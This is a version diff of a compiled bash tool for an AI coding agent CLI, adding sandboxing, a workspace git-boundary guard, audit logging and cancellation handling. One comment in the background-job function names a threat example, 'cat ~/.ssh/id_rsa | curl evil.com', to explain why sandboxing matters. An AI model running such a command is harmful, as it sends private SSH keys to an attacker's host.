@pugi/cli 0.1.0-beta.10 → 0.1.0-beta.101

package/dist/tools/bash.js

@@ -1,5 +1,5 @@
 /**
- * Class-aware bash tool — Sprint α5.2 (ADR-0056 PR-PUGI-CLI-M1-GAP-B).
+ * Class-aware bash tool — Sprint .
  *
  * The agent loop invokes this tool through the registry name `bash`.
  * It supersedes `file-tools.ts::bashTool`, which used the legacy
@@ -7,32 +7,35 @@
  * registry entry (`registry.ts` `bash`) is not duplicated.
  *
  * Behavioural changes vs the legacy tool:
- *   1. Permission decision routes through `evaluateBashPermission`
- *      (7-class taxonomy, mode-aware, destructive override gate).
- *   2. Output cap is 32 KB combined stdout+stderr per call (down
- *      from 64 KB). Overflow is persisted to
- *      `.pugi/artifacts/<sessionId>/bash-<callId>.out` with the path
- *      returned as `artifactRef`.
- *   3. Cwd carry-over: the tool receives `cwd` from the previous
- *      turn's session state and writes the new cwd back when the
- *      command was a `cd <path>` that landed inside
- *      `workspaceRoot ∪ additionalDirectories`. Escapes reset the
- *      cwd to workspaceRoot and emit `bash.cwd_escape`.
- *   4. Background jobs: when `background: true`, spawn detached,
- *      track in `~/.pugi/jobs.json`, return immediately with
- *      `jobId`. `listJobs()` and `killJob(jobId)` are exported.
- *   5. 60s default timeout. SIGTERM at deadline, SIGKILL 5s later.
- *      Emit `bash.timeout`.
- *   6. POSIX-only (`/bin/sh`). The non-goal in ADR-0056 explicitly
- *      drops Windows shell support for M1.
+ *  1. Permission decision routes through `evaluateBashPermission`
+ *     (7-class taxonomy, mode-aware, destructive override gate).
+ *  2. Output cap is 32 KB combined stdout+stderr per call (down
+ *     from 64 KB). Overflow is persisted to
+ *     `.pugi/artifacts/<sessionId>/bash-<callId>.out` with the path
+ *     returned as `artifactRef`.
+ *  3. Cwd carry-over: the tool receives `cwd` from the previous
+ *     turn's session state and writes the new cwd back when the
+ *     command was a `cd <path>` that landed inside
+ *     `workspaceRoot ∪ additionalDirectories`. Escapes reset the
+ *     cwd to workspaceRoot and emit `bash.cwd_escape`.
+ *  4. Background jobs: when `background: true`, spawn detached,
+ *     track in `~/.pugi/jobs.json`, return immediately with
+ *     `jobId`. `listJobs()` and `killJob(jobId)` are exported.
+ *  5. 60s default timeout. SIGTERM at deadline, SIGKILL 5s later.
+ *     Emit `bash.timeout`.
+ *  6. POSIX-only (`/bin/sh`). The non-goal in  explicitly
+ *     drops Windows shell support for M1.
  */
 import { randomUUID } from 'node:crypto';
-import { appendFileSync, existsSync, mkdirSync, readFileSync, writeFileSync, } from 'node:fs';
+import { appendFileSync, closeSync, existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync, } from 'node:fs';
 import { homedir } from 'node:os';
 import { isAbsolute, join, resolve } from 'node:path';
 import { spawn, spawnSync } from 'node:child_process';
 import { classifyBash } from '../core/bash-classifier.js';
+import { applyRedirect, finaliseRedirectFile, normalizeTailLines, openRedirectFile, resolveRedirectTarget, } from '../core/bash/redirect.js';
 import { evaluateBashPermission } from '../core/permission.js';
+import { writeAuditEvent } from '../core/audit/audit-trail.js';
+import { isSandboxDisabled, makeAdapter, SANDBOX_DISABLE_ENV, } from '../core/sandboxing/index.js';
 import { getJobRegistry, } from '../core/jobs/registry.js';
 import { recordToolCall, recordToolResult } from '../core/session.js';
 export const BASH_OUTPUT_CAP_BYTES = 32 * 1024;
@@ -44,7 +47,7 @@ export const BASH_SIGKILL_GRACE_MS = 5_000;
  * SIGTERM the child to prevent a `yes`-style stream from pinning
  * 60+ MB before the timeout watchdog fires.
  *
- * Code Reviewer P1 retro 2026-05-24: the async path previously
+ * Code Reviewer P1 retro: the async path previously
  * accumulated stdout chunks without bound; only spawnSync had a
  * 10 MB maxBuffer ceiling. Aligning the async path closes the gap.
  */
@@ -60,6 +63,33 @@ export async function bashTool(input, ctx) {
     const additionalDirectories = ctx.additionalDirectories ?? [];
     const source = ctx.source ?? 'agent';
     const toolCallId = recordToolCall(ctx.session, 'bash', cmd);
+    // Cwd carry-over decision (also re-checked post-run).
+    const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
+    // Workspace-git-boundary guard (CEO P0 #51).
+    // Runs BEFORE the permission gate so the boundary escape message is
+    // the one the operator/engine sees, regardless of permission policy.
+    // The leak is structural (git silently writes to an ancestor .git
+    // when the workspace lacks one), not a policy violation, so the
+    // diagnostic must surface even when the permission gate would
+    // otherwise have asked or auto-allowed.
+    const boundaryBlock = enforceGitBoundary(cmd, startCwd, ctx.root);
+    if (boundaryBlock !== null) {
+        emitEvent(ctx.session, 'bash.git_boundary_escape', {
+            cmd,
+            workspaceRoot: ctx.root,
+            resolvedToplevel: boundaryBlock.resolvedToplevel ?? null,
+        });
+        recordToolResult(ctx.session, toolCallId, 'error', boundaryBlock.reason);
+        return {
+            stdout: '',
+            stderr: boundaryBlock.reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
     // Permission gate via the new class-aware engine.
     const decision = evaluateBashPermission(cmd, ctx.settings.permissions.mode, {
         workspaceRoot: ctx.root,
@@ -69,6 +99,22 @@ export async function bashTool(input, ctx) {
     if (decision.decision !== 'allow') {
         const reason = `Permission ${decision.decision}: ${decision.reason}`;
         recordToolResult(ctx.session, toolCallId, 'error', reason);
+        // #21 : emit `permission_denied` to
+        // the tenant-wide audit trail. Truncate the cmd preview to 200
+        // chars so a long here-doc does not bloat the JSONL row; the
+        // session log keeps the full text for forensic replay.
+        writeAuditEvent({
+            event: 'permission_denied',
+            sessionId: ctx.session.id,
+            workspaceRoot: ctx.root,
+            data: {
+                tool: 'bash',
+                source,
+                decision: decision.decision,
+                reason: decision.reason,
+                cmdPreview: cmd.slice(0, 200),
+            },
+        });
         return {
             stdout: '',
             stderr: `Permission denied: ${decision.reason}`,
@@ -76,10 +122,27 @@ export async function bashTool(input, ctx) {
             nextCwd: ctx.lastBashCwd ?? ctx.root,
             truncated: false,
             timedOut: false,
+            cancelled: false,
+        };
+    }
+    // CEO P1 #25 — pre-spawn cancellation check. Fires
+    // AFTER the permission gate so a cancelled brief never reaches
+    // /bin/sh even when the command would have been allowed. Mirrors
+    // the `gateOnCancellation` pattern from file-tools.ts.
+    if (ctx.cancellation?.isAborted === true) {
+        const reason = 'operator_aborted: bash refused before spawn';
+        emitEvent(ctx.session, 'bash.cancelled', { cmd, phase: 'pre_spawn' });
+        recordToolResult(ctx.session, toolCallId, 'cancelled', reason);
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 130,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: true,
         };
     }
-    // Cwd carry-over decision (also re-checked post-run).
-    const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
     // Background job branch.
     if (input.background === true) {
         return runBackground({ cmd, ctx, toolCallId, startCwd, additionalDirectories });
@@ -87,12 +150,93 @@ export async function bashTool(input, ctx) {
     // Foreground branch with timeout watchdog.
     const timeoutMs = sanitizeTimeout(input.timeoutMs);
     const childEnv = buildChildEnv();
-    // POSIX-only `/bin/sh -c <cmd>`. The ADR-0056 non-goals explicitly
+    // Pugi backlog P2 — redirect path. When the caller opted into
+    // stdout redirect, we open a write-only fd at the resolved log
+    // path and hand it directly to the child's stdio array so the
+    // child writes through the kernel pipe → file fd without buffering
+    // hundreds of MB in the Node process. The buffered code path below
+    // is the fallback for callers that did not opt in.
+    let redirectState = null;
+    if (input.redirect !== undefined) {
+        try {
+            const target = resolveRedirectTarget({
+                workspaceRoot: ctx.root,
+                sessionId: ctx.session.id,
+                toolCallId,
+                command: cmd,
+                override: input.redirect.path,
+            });
+            const { fd, tempPath } = openRedirectFile(target);
+            redirectState = {
+                target,
+                fd,
+                tempPath,
+                tailLines: normalizeTailLines(input.redirect.tailLines),
+            };
+        }
+        catch (error) {
+            // Bad caller-supplied path (absolute, traversal escape). Fall
+            // back to a structured error rather than crashing the engine
+            // loop. Mirrors how the permission gate surfaces a refusal —
+            // the model can adjust the redirect spec and retry.
+            const reason = `redirect refused: ${error.message}`;
+            recordToolResult(ctx.session, toolCallId, 'error', reason);
+            return {
+                stdout: '',
+                stderr: reason,
+                exitCode: 126,
+                nextCwd: ctx.lastBashCwd ?? ctx.root,
+                truncated: false,
+                timedOut: false,
+                cancelled: false,
+            };
+        }
+    }
+    // POSIX-only `/bin/sh -c <cmd>`. The  non-goals explicitly
     // exclude Windows for M1.
-    const child = spawn('/bin/sh', ['-c', cmd], {
+    //
+    // stdio layout:
+    //  - default: ['ignore', 'pipe', 'pipe'] — buffer chunks in
+    //               Node so the post-run capToCombined can size them
+    //               to the report cap.
+    //  - redirect: ['ignore', fd, fd] — kernel pipes stdout+stderr
+    //               straight into the log file fd. No Node-side
+    //               buffering, no truncation marker, no in-memory
+    //               ceiling. The tail-reader fishes the trailing
+    //               lines out of the file after the child exits.
+    const stdioLayout = redirectState !== null
+        ? ['ignore', redirectState.fd, redirectState.fd]
+        : ['ignore', 'pipe', 'pipe'];
+    // Phase 1 #302 — OS sandbox wrap. The resolver returns one of
+    // three shapes; `blocked` short-circuits via the same envelope as
+    // a permission denial so the model sees a structured refusal +
+    // the operator sees install hints in stderr. Passthrough returns
+    // the legacy `/bin/sh -c <cmd>` argv unchanged so existing flows
+    // (mode=`none`, `PUGI_SANDBOX_DISABLE=1`) are byte-identical.
+    const sandboxResolution = resolveBashSandbox(cmd, ctx);
+    if (sandboxResolution.kind === 'blocked') {
+        const reason = renderSandboxBlockMessage(sandboxResolution);
+        recordToolResult(ctx.session, toolCallId, 'error', reason);
+        if (redirectState !== null) {
+            try {
+                closeSync(redirectState.fd);
+            }
+            catch { /* already closed */ }
+        }
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
+    const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
         cwd: startCwd,
         env: childEnv,
-        stdio: ['ignore', 'pipe', 'pipe'],
+        stdio: stdioLayout,
         detached: false,
     });
     const stdoutChunks = [];
@@ -106,6 +250,12 @@ export async function bashTool(input, ctx) {
     // before the timeout watchdog fires, we enforce a live ceiling
     // (BASH_LIVE_OUTPUT_CAP_BYTES) and SIGTERM the child when crossed.
     let truncatedMidStream = false;
+    // CEO P1 #25 — mid-stream operator cancellation. The
+    // listener registered against the CancellationToken below flips
+    // this flag and SIGTERMs the child. The close handler reads it to
+    // decide between `cancelled` (operator abort) and `timedOut`
+    // (watchdog).
+    let cancelledMidStream = false;
     const enforceLiveCap = () => {
         if (truncatedMidStream)
             return;
@@ -119,21 +269,158 @@ export async function bashTool(input, ctx) {
             // child already exited; the close handler will run
         }
     };
-    child.stdout?.on('data', (chunk) => {
-        if (truncatedMidStream)
-            return;
-        stdoutChunks.push(chunk);
-        stdoutBytes += chunk.length;
-        enforceLiveCap();
-    });
-    child.stderr?.on('data', (chunk) => {
-        if (truncatedMidStream)
-            return;
-        stderrChunks.push(chunk);
-        stderrBytes += chunk.length;
-        enforceLiveCap();
-    });
+    // CEO P1 #25 — live stream callback. When the REPL
+    // host wires `onStreamChunk`, we forward each stdout/stderr chunk
+    // in real time so the conversation pane / tool-stream pane paint
+    // bytes as they arrive instead of waiting for the child to exit.
+    // We invoke the callback inside a try/catch so a buggy sink
+    // (renderer crash, assertion error) never escalates to killing
+    // the bash dispatch. The buffered path below still captures the
+    // chunk so the model + audit trail stay consistent regardless of
+    // renderer health.
+    const onStreamChunk = ctx.onStreamChunk;
+    const emitStreamChunk = onStreamChunk
+        ? (stream, chunk) => {
+            try {
+                onStreamChunk({ stream, data: chunk.toString('utf8') });
+            }
+            catch {
+                // Sink crash — swallow.
+            }
+        }
+        : null;
+    // When redirect is on, child.stdout / child.stderr are null
+    // because the spawn handed the log-file fd in directly. The data
+    // listeners only fire on the buffered path, which is exactly what
+    // we want — the redirect contract is "no in-memory buffer, full
+    // output goes to disk".
+    if (redirectState === null) {
+        child.stdout?.on('data', (chunk) => {
+            if (truncatedMidStream || cancelledMidStream)
+                return;
+            stdoutChunks.push(chunk);
+            stdoutBytes += chunk.length;
+            if (emitStreamChunk)
+                emitStreamChunk('stdout', chunk);
+            enforceLiveCap();
+        });
+        child.stderr?.on('data', (chunk) => {
+            if (truncatedMidStream || cancelledMidStream)
+                return;
+            stderrChunks.push(chunk);
+            stderrBytes += chunk.length;
+            if (emitStreamChunk)
+                emitStreamChunk('stderr', chunk);
+            enforceLiveCap();
+        });
+    }
+    // CEO P1 #25 — wire the cancellation token to SIGTERM. We track
+    // the detach handle so a successful run releases the listener
+    // instead of leaving it pinned to a long-lived REPL
+    // CancellationToken (same anti-leak pattern as
+    // native-pugi.ts:262).
+    let detachCancelListener;
+    if (ctx.cancellation && !ctx.cancellation.isAborted) {
+        const onAbort = () => {
+            if (cancelledMidStream)
+                return;
+            cancelledMidStream = true;
+            emitEvent(ctx.session, 'bash.cancelled', { cmd, phase: 'mid_stream' });
+            try {
+                child.kill('SIGTERM');
+            }
+            catch {
+                // child already exited; close handler will run
+            }
+            // SIGKILL escalation if the child does not honour SIGTERM
+            // within the grace window. Mirrors the timeout watchdog's
+            // two-phase shutdown.
+            setTimeout(() => {
+                if (child.exitCode !== null || child.signalCode !== null)
+                    return;
+                try {
+                    child.kill('SIGKILL');
+                }
+                catch {
+                    // gone between the check and the signal
+                }
+            }, BASH_SIGKILL_GRACE_MS).unref();
+        };
+        detachCancelListener = ctx.cancellation.onAbort(onAbort);
+    }
     const timeoutOutcome = await waitWithTimeout(child, timeoutMs);
+    // Detach the cancellation listener on completion so a long-lived
+    // REPL token does not retain a reference to the dead child + this
+    // closure.
+    if (detachCancelListener) {
+        try {
+            detachCancelListener();
+        }
+        catch { /* listener already drained */ }
+    }
+    // Pugi backlog P2 — redirect path. Close the log fd, rename
+    // the temp file into place, and return the envelope before the
+    // buffered-path code paths run. We do this for every exit shape
+    // (success, non-zero, timeout, cancel) so the log file always
+    // lands on disk and the tail reflects whatever the child produced
+    // before termination. The cancel/timeout branches still surface
+    // the appropriate exitCode through the envelope; the operator
+    // discovers the failure via `tail` + `exitCode`, not via the
+    // legacy stdout/stderr strings.
+    if (redirectState !== null) {
+        // Close our copy of the fd before rename so the inode is no
+        // longer held open by the parent process. The child's stdio
+        // already inherited a separate fd; closing ours does not affect
+        // the child's writes that already happened.
+        try {
+            closeSync(redirectState.fd);
+        }
+        catch {
+            // already closed (shouldn't happen on the happy path)
+        }
+        try {
+            finaliseRedirectFile(redirectState.target, redirectState.tempPath);
+        }
+        catch {
+            // best-effort — the temp file still exists on disk for the
+            // operator to inspect even if the rename failed.
+        }
+        const redirectExitCode = cancelledMidStream
+            ? 130
+            : timeoutOutcome.timedOut
+                ? 124
+                : timeoutOutcome.exitCode;
+        const envelope = applyRedirect({
+            target: redirectState.target,
+            exitCode: redirectExitCode,
+            tailLines: redirectState.tailLines,
+        });
+        const nextCwdRedirect = computeNextCwd(cmd, startCwd, ctx.root, additionalDirectories, ctx.session);
+        // Emit the same lifecycle events the buffered path emits so the
+        // session audit trail is symmetric across redirect vs non-redirect
+        // dispatches.
+        if (cancelledMidStream) {
+            recordToolResult(ctx.session, toolCallId, 'cancelled', `operator_aborted: bash killed mid-stream (redirect=${envelope.logPath})`);
+        }
+        else if (timeoutOutcome.timedOut) {
+            emitEvent(ctx.session, 'bash.timeout', { cmd, timeoutMs });
+            recordToolResult(ctx.session, toolCallId, 'error', `bash timed out after ${timeoutMs}ms (redirect=${envelope.logPath})`);
+        }
+        else {
+            recordToolResult(ctx.session, toolCallId, 'success', `bash exit=${redirectExitCode} redirect=${envelope.logPath}`);
+        }
+        return {
+            stdout: envelope.stdout,
+            stderr: envelope.stderr,
+            exitCode: redirectExitCode,
+            nextCwd: nextCwdRedirect,
+            truncated: envelope.truncated,
+            timedOut: timeoutOutcome.timedOut,
+            cancelled: cancelledMidStream,
+            logPath: envelope.logPath,
+            tail: envelope.tail,
+        };
+    }
     const stdoutFull = Buffer.concat(stdoutChunks).toString('utf8');
     const stderrFull = Buffer.concat(stderrChunks).toString('utf8');
     const combinedBytes = stdoutBytes + stderrBytes;
@@ -158,6 +445,25 @@ export async function bashTool(input, ctx) {
         stdoutOut = capToCombined(stdoutFull, stderrFull).stdout;
         stderrOut = capToCombined(stdoutFull, stderrFull).stderr;
     }
+    // CEO P1 #25 — cancellation wins races against timeout / cap
+    // overflow. The token already aborted by the time the close
+    // handler fires; we distinguish operator-driven termination from
+    // the watchdog so the REPL transcript reads "Aborted." rather
+    // than "Timed out."
+    if (cancelledMidStream) {
+        const reason = 'operator_aborted: bash killed mid-stream';
+        recordToolResult(ctx.session, toolCallId, 'cancelled', reason);
+        return {
+            stdout: stdoutOut,
+            stderr: stderrOut === '' ? reason : `${stderrOut}\n${reason}`,
+            exitCode: 130,
+            artifactRef,
+            nextCwd,
+            truncated,
+            timedOut: false,
+            cancelled: true,
+        };
+    }
     if (truncatedMidStream) {
         // We killed the child because output cap exceeded mid-stream.
         // Report that as the failure cause rather than as a timeout —
@@ -176,6 +482,7 @@ export async function bashTool(input, ctx) {
             nextCwd,
             truncated: true,
             timedOut: false,
+            cancelled: false,
         };
     }
     if (timeoutOutcome.timedOut) {
@@ -189,6 +496,7 @@ export async function bashTool(input, ctx) {
             nextCwd,
             truncated,
             timedOut: true,
+            cancelled: false,
         };
     }
     const exitCode = timeoutOutcome.exitCode;
@@ -201,6 +509,7 @@ export async function bashTool(input, ctx) {
         nextCwd,
         truncated,
         timedOut: false,
+        cancelled: false,
     };
 }
 function sanitizeTimeout(value) {
@@ -211,6 +520,122 @@ function sanitizeTimeout(value) {
     // cannot wedge the engine loop.
     return Math.min(value, 15 * 60 * 1000);
 }
+function resolveBashSandbox(cmd, ctx) {
+    const baseArgv = ['/bin/sh', '-c', cmd];
+    // Operator break-glass — log the disable to the audit trail so SOC
+    // sees a structured record, then degrade to passthrough.
+    if (isSandboxDisabled(process.env)) {
+        writeAuditEvent({
+            event: 'sandbox_block',
+            sessionId: ctx.session.id,
+            workspaceRoot: ctx.root,
+            data: {
+                tool: 'bash',
+                outcome: 'disabled_by_env',
+                env: SANDBOX_DISABLE_ENV,
+                cmdPreview: cmd.slice(0, 200),
+            },
+        });
+        return {
+            kind: 'passthrough',
+            argv: baseArgv,
+            description: `sandbox: disabled via ${SANDBOX_DISABLE_ENV}=1`,
+            reason: 'env_disabled',
+        };
+    }
+    const configured = (ctx.settings.bash?.sandbox ?? 'none');
+    if (configured === 'none') {
+        return {
+            kind: 'passthrough',
+            argv: baseArgv,
+            description: 'sandbox: none (passthrough)',
+            reason: 'mode_none',
+        };
+    }
+    const sandboxOpts = buildSandboxOpts(ctx);
+    try {
+        const adapter = makeAdapter(configured);
+        const probed = adapter.probe(sandboxOpts);
+        if (!probed.armed) {
+            // Fail-closed: the operator configured a sandbox but the host
+            // can't honour it. Refusing the spawn is the security promise.
+            writeAuditEvent({
+                event: 'sandbox_block',
+                sessionId: ctx.session.id,
+                workspaceRoot: ctx.root,
+                data: {
+                    tool: 'bash',
+                    outcome: 'unavailable',
+                    mode: configured,
+                    reason: probed.reason ?? 'unknown',
+                    details: probed.details,
+                    cmdPreview: cmd.slice(0, 200),
+                },
+            });
+            return {
+                kind: 'blocked',
+                mode: configured,
+                reason: probed.reason ?? `sandbox ${configured} not armed`,
+                ...(probed.installHint ? { installHint: probed.installHint } : {}),
+            };
+        }
+        const wrapped = adapter.wrap({ command: '/bin/sh', args: ['-c', cmd] }, sandboxOpts);
+        return {
+            kind: 'wrapped',
+            argv: [wrapped.command, ...wrapped.args],
+            description: wrapped.description,
+            mode: configured,
+            posture: sandboxOpts.posture ?? 'strict',
+        };
+    }
+    catch (err) {
+        // `makeAdapter` throws for unknown / docker; treat as block.
+        const reason = err.message;
+        writeAuditEvent({
+            event: 'sandbox_block',
+            sessionId: ctx.session.id,
+            workspaceRoot: ctx.root,
+            data: {
+                tool: 'bash',
+                outcome: 'adapter_error',
+                mode: configured,
+                reason,
+                cmdPreview: cmd.slice(0, 200),
+            },
+        });
+        return { kind: 'blocked', mode: configured, reason };
+    }
+}
+function buildSandboxOpts(ctx) {
+    const sandboxCfg = ctx.settings.sandbox;
+    const extraWritePaths = [
+        join(homedir(), '.pugi'),
+        '/tmp',
+    ];
+    const opts = {
+        workspaceRoot: ctx.root,
+        extraWritePaths,
+        posture: sandboxCfg?.posture ?? 'strict',
+    };
+    if (sandboxCfg?.allowNetwork !== undefined) {
+        opts.allowNetwork = sandboxCfg.allowNetwork;
+    }
+    if (sandboxCfg?.extraReadPaths && sandboxCfg.extraReadPaths.length > 0) {
+        opts.extraReadPaths = sandboxCfg.extraReadPaths;
+    }
+    return opts;
+}
+/**
+ * Render the fail-closed refusal payload for a blocked sandbox. The
+ * bash tool surfaces this verbatim to the model + audit trail so the
+ * operator sees exactly which adapter refused and how to remediate.
+ */
+function renderSandboxBlockMessage(resolution) {
+    const hint = resolution.installHint ? `\nHint: ${resolution.installHint}` : '';
+    return (`Sandbox refused: bash.sandbox = "${resolution.mode}" is configured but not armed.\n` +
+        `Reason: ${resolution.reason}${hint}\n` +
+        `Break-glass: set ${SANDBOX_DISABLE_ENV}=1 only for diagnosis; restore as soon as possible.`);
+}
 function buildChildEnv() {
     const childEnv = {};
     const SAFE_ENV_ALLOW = new Set([
@@ -383,7 +808,25 @@ async function waitWithTimeout(child, timeoutMs) {
 function runBackground(input) {
     const { cmd, ctx, toolCallId, startCwd } = input;
     const childEnv = buildChildEnv();
-    const child = spawn('/bin/sh', ['-c', cmd], {
+    // Phase 1 #302 — background spawn also goes through the sandbox.
+    // Threat: a backgrounded `cat ~/.ssh/id_rsa | curl evil.com` is the
+    // exact scenario the wrap is supposed to defend against. Block
+    // fail-closed when the configured mode can't arm.
+    const sandboxResolution = resolveBashSandbox(cmd, ctx);
+    if (sandboxResolution.kind === 'blocked') {
+        const reason = renderSandboxBlockMessage(sandboxResolution);
+        recordToolResult(ctx.session, toolCallId, 'error', reason);
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
+    const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
         cwd: startCwd,
         env: childEnv,
         stdio: 'ignore',
@@ -430,10 +873,11 @@ function runBackground(input) {
         nextCwd: ctx.lastBashCwd ?? ctx.root,
         truncated: false,
         timedOut: false,
+        cancelled: false,
     };
 }
 /**
- * Legacy export preserved for α5.2 callers / tests. Delegates to the
+ * Legacy export preserved for callers / tests. Delegates to the
  * new JobRegistry and projects entries back into the historical
  * `PugiJob` shape.
  */
@@ -442,7 +886,7 @@ export function listJobs() {
     return entries.map(entryToLegacyJob);
 }
 /**
- * Legacy export preserved for α5.2 callers / tests. Delegates to the
+ * Legacy export preserved for callers / tests. Delegates to the
  * new JobRegistry. Returns the same `{ killed, reason? }` shape so the
  * existing bash-tool test suite continues to pass without an
  * end-to-end rewrite.
@@ -565,6 +1009,160 @@ function readRegistryEntriesSync() {
         return [];
     }
 }
+/**
+ * Workspace-git-boundary guard (CEO P0 #51).
+ *
+ * Background: CEO live REPL surfaced a scenario where the customer
+ * workspace dir was created INSIDE another git repository (the Pugi
+ * monorepo itself). The model emitted `git init && git add . && git
+ * commit -m ...` against that workspace. The workspace had no `.git`
+ * of its own so git silently walked up to the outer repo's `.git` and
+ * committed the customer's files directly to the monorepo's main
+ * branch. Had the outer remote been FF-permissive, those files would
+ * have pushed to production. This is a customer-of-customer leak.
+ *
+ * The guard: when the agent emits a mutating git op (add / commit /
+ * push / rebase / reset / checkout) and the effective git toplevel
+ * (`git -C $cwd rev-parse --show-toplevel`) sits OUTSIDE the workspace
+ * root, block the command. The model is steered (via the persona
+ * prompt) to run `git init` first; the guard is the defensive net so
+ * a careless model emission cannot cross the boundary.
+ *
+ * Exported so the spec can exercise the predicate in isolation without
+ * having to drive the whole bash tool.
+ */
+export const GIT_BOUNDARY_BLOCK_PREFIX = 'git boundary escape:';
+/**
+ * Subcommands we treat as definitely mutating for the boundary check.
+ * We intentionally OMIT subcommands that have common read-only modes
+ * (`branch --list`, `tag --list`, `stash list`, `remote -v`) to keep
+ * the guard precise. The CEO P0 #51 leak vector is files written to
+ * an ancestor repo's working tree / refs, which the included set
+ * fully covers. The omitted subcommands can still create refs in the
+ * outer .git, but they do not move customer files into the outer
+ * repo's commit graph, so the leak severity is lower and the
+ * ergonomic cost of false positives on `--list` flags is higher.
+ */
+const MUTATING_GIT_SUBCOMMANDS = new Set([
+    'add',
+    'commit',
+    'push',
+    'rebase',
+    'reset',
+    'checkout',
+    'merge',
+    'restore',
+    'switch',
+    'cherry-pick',
+    'am',
+    'apply',
+    'clean',
+    'rm',
+    'mv',
+]);
+/**
+ * Inspect a shell command for mutating git operations. Returns the
+ * first matching subcommand (e.g. 'commit') or null when none of the
+ * components are mutating git ops.
+ *
+ * We split on `&&`, `||`, `;`, `|` so a compound like
+ * `mkdir foo && cd foo && git add .` is correctly flagged on the
+ * trailing git component.
+ */
+export function detectMutatingGitOp(cmd) {
+    const components = cmd.split(/\s*(?:&&|\|\||;|\|)\s*/);
+    for (const raw of components) {
+        const component = raw.trim();
+        if (component === '')
+            continue;
+        // Strip leading `sudo` wrapper which would otherwise hide the verb.
+        const stripped = component.replace(/^sudo\s+/, '');
+        // Match `git [<global-flags>] <subcommand> ...`. Global flags we
+        // tolerate:
+        //  - long flag: `--no-pager`, `--git-dir=.git`
+        //  - short flag with attached value: `-C <path>`, `-c <k=v>`
+        //  - bare short flag: `-P`
+        // Anything weirder falls through and the predicate returns null,
+        // which means the guard does not fire on that component — safer
+        // to err open here because the destructive classifier and the
+        // outer permission gate are independent defences.
+        const match = stripped.match(/^git(?:\s+(?:--[A-Za-z][A-Za-z0-9-]*(?:=\S+)?|-[CcP](?:\s+\S+)?|-[A-Za-z]+))*\s+([a-z][a-z0-9-]*)\b/);
+        if (!match)
+            continue;
+        const subcommand = match[1];
+        if (subcommand && MUTATING_GIT_SUBCOMMANDS.has(subcommand)) {
+            return subcommand;
+        }
+    }
+    return null;
+}
+/**
+ * Resolve the workspace's effective git boundary. Returns:
+ *  - the absolute path of the .git toplevel that owns `cwd`
+ *  - null when no .git ancestor exists at all (standalone, no repo)
+ *
+ * Pure filesystem walk so the guard does not depend on git being on
+ * PATH. We look for either a `.git` directory or a `.git` file (the
+ * worktree case where `.git` is a pointer file).
+ */
+export function resolveGitToplevel(cwd) {
+    let dir = cwd;
+    while (true) {
+        const dotGit = join(dir, '.git');
+        if (existsSync(dotGit))
+            return dir;
+        const parent = resolve(dir, '..');
+        if (parent === dir)
+            return null;
+        dir = parent;
+    }
+}
+/**
+ * The actual guard. Returns null when the command is allowed; returns
+ * a block descriptor when it should be denied. The block message uses
+ * the literal prefix `git boundary escape:` so callers (and the spec)
+ * can pattern-match.
+ */
+export function enforceGitBoundary(cmd, startCwd, workspaceRoot) {
+    const subcommand = detectMutatingGitOp(cmd);
+    if (subcommand === null)
+        return null;
+    // Resolve symlinks on both sides so a /var → /private/var macOS
+    // realpath divergence does not produce a false escape.
+    const root = safeRealpath(workspaceRoot);
+    const toplevel = resolveGitToplevel(safeRealpath(startCwd));
+    const resolvedToplevel = toplevel === null ? null : safeRealpath(toplevel);
+    if (resolvedToplevel === root)
+        return null;
+    // Either no .git anywhere (standalone) OR the .git that wins is an
+    // ancestor — both are escape scenarios. Operator must run `git init`
+    // explicitly inside the workspace.
+    if (resolvedToplevel === null) {
+        return {
+            subcommand,
+            resolvedToplevel: null,
+            reason: `${GIT_BOUNDARY_BLOCK_PREFIX} workspace root '${workspaceRoot}' has no .git ` +
+                `and no ancestor repository exists. Run \`git init\` in the workspace first ` +
+                `before \`git ${subcommand}\`.`,
+        };
+    }
+    return {
+        subcommand,
+        resolvedToplevel,
+        reason: `${GIT_BOUNDARY_BLOCK_PREFIX} workspace root '${workspaceRoot}' has no .git; ` +
+            `outer toplevel is '${resolvedToplevel}'. Run \`git init\` in the workspace ` +
+            `first before \`git ${subcommand}\` (otherwise the operation would write to ` +
+            `the ancestor repository, not the workspace).`,
+    };
+}
+function safeRealpath(path) {
+    try {
+        return realpathSync(path);
+    }
+    catch {
+        return path;
+    }
+}
 function removeRegistryEntrySync(jobId) {
     const path = join(homedir(), '.pugi', 'jobs.json');
     const entries = readRegistryEntriesSync().filter((entry) => entry.id !== jobId);
@@ -592,6 +1190,29 @@ export function bashToolSync(input, ctx) {
     const additionalDirectories = ctx.additionalDirectories ?? [];
     const source = ctx.source ?? 'agent';
     const toolCallId = recordToolCall(ctx.session, 'bash', cmd);
+    const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
+    // Workspace-git-boundary guard (CEO P0 #51). Fires
+    // BEFORE the permission gate so the structural boundary diagnostic
+    // is the one the operator sees. See the async path for the full
+    // rationale.
+    const boundaryBlock = enforceGitBoundary(cmd, startCwd, ctx.root);
+    if (boundaryBlock !== null) {
+        emitEvent(ctx.session, 'bash.git_boundary_escape', {
+            cmd,
+            workspaceRoot: ctx.root,
+            resolvedToplevel: boundaryBlock.resolvedToplevel ?? null,
+        });
+        recordToolResult(ctx.session, toolCallId, 'error', boundaryBlock.reason);
+        return {
+            stdout: '',
+            stderr: boundaryBlock.reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
